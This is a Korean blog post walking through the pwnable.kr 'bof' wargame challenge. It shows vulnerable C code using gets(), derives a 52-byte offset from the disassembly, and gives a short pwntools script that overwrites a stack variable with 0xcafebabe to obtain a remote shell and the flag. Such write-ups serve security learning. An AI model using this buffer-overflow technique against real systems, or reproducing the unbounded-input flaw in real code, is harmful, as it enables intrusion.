본문 바로가기
Security/pwnable.kr

[pwnable.kr] Toddler's Bottle - bof

by 단월໒꒱ 2022. 5. 7.

이번에는 bof 문제를 풀어보았다.

 

 

 

 

문제를 읽어보니 버퍼 오버플로우가 가장 흔한 소프트웨어 취약점이라고만 한다.

버퍼 오버플로우와 관련이 있는 문제라는 것만 알고 넘어가자.

 

문제에 있는 다운로드 링크를 통해, 바이너리와 c파일을 받아준다.

 

아래에 있는 nc 명령어는 나중에 거기로 접속해서 플래그를 획득하면 되니 일단은 넘어가자.

 

다운 받은 c파일을 열어 코드를 확인해보았다.

 

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

 

그렇게 길지 않은 코드이지만 일단 함수별로 나누어서 보기로 했다.

 

먼저 main 함수를 살펴보았다.

 

 

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

 

별다른 건 없고 0xdeadbeef를 func이란 함수에 인수로 전달한다고 한다.

 

 

이번에는 func 함수를 살펴보았다.

 

 

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}

 

 

32 크기를 갖는 배열 overflowme를 선언하고 gets 함수로 입력받은 내용을 overflowme에 저장한다.

여기서 gets 함수는 입력 받는 크기의 제한이 없기 때문에 버퍼 오버플로우가 발생할 위험이 있다.

 

func 함수의 인자로 오는 key값이 0xcafebabe이면 /bin/sh를 실행시킬 수 있다.

 

문제를 해결하기 위해 key의 위치와 overflowme의 위치를 알아내야 한다.

 

함수를 disassemble해서 확인해보았다.

 

 

 

 

main 함수는 특별히 볼 건 없고 func 함수를 보면 된다.

 

 

 

 

위의 c코드를 보면 if문 조건식으로 key와 0xcafebabe를 비교하고 있는 것을 확인할 수 있다.

그렇기 때문에 <+40> 부분에서 cmp 명령어로 ebp+0x8과 0xcafebabe를 비교하고 있음을 확인할 수 있는데, 여기서 key 값이 ebp+0x8에 있다는 것을 알 수 있다.

 

그리고 if문 전에 <+24>, <+29> 부분에서 gets 함수를 호출하고 ebp-0x2c를 eax에 주는 것으로 보아 여기서부터 overflowme가 입력될 것임을 알 수 있다.

 

따라서 0x8 - (-0x2c) = 0x34이고 십진수로 52이므로 52만큼의 더미값을 채워주고 cafebabe를 주면 될 것이라 생각했다.

 

 

위의 내용을 바탕으로 익스플로잇 코드를 작성해보았다.

 

 

from pwn import *

p = remote("pwnable.kr", 9000)

payload = "A" * 52 + "\xbe\xba\xfe\xca"

p.sendline(payload)

p.interactive()

 

 

작성한 익스플로잇 코드를 실행시키면 

 

 

 

 

위와 같이 성공적으로 셸을 획득할 수 있다.

ls로 파일 목록을 확인하고

 

 

 

 

cat 명령어를 사용하니 flag를 획득할 수 있었다.

 

 

 

 

획득한 flag의 내용을 입력해주니

 

 

 

 

문제를 해결하고 포인트를 획득할 수 있었다.

 

 

 

 

 

댓글